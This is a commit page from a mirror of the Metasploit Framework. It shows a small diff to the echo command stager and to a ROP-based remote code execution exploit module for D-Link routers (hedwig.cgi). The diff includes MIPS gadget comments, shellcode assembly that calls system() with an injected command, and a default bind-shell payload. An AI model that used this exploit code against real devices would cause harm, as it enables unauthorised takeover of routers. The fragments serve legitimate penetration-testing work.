infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

echo stager, arch_cmd

bug/bundler_fix
Michael Messner 2014-06-13 11:40:50 +02:00
parent 76ed9bcf86
commit 894af92b22
2 changed files with 6 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
lib/rex/exploitation/cmdstager/echo.rb
View File

@ -156,7 +156,8 @@ class CmdStagerEcho < CmdStagerBase
end
def cmd_concat_operator
" ; "
#" ; "
" && "
end
end

8
modules/exploits/linux/http/dlink_hedwigcgi_rop_system.rb
View File

@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSLE,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' },
'References' =>
[
@ -90,9 +90,9 @@ class Metasploit3 < Msf::Exploit::Remote
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)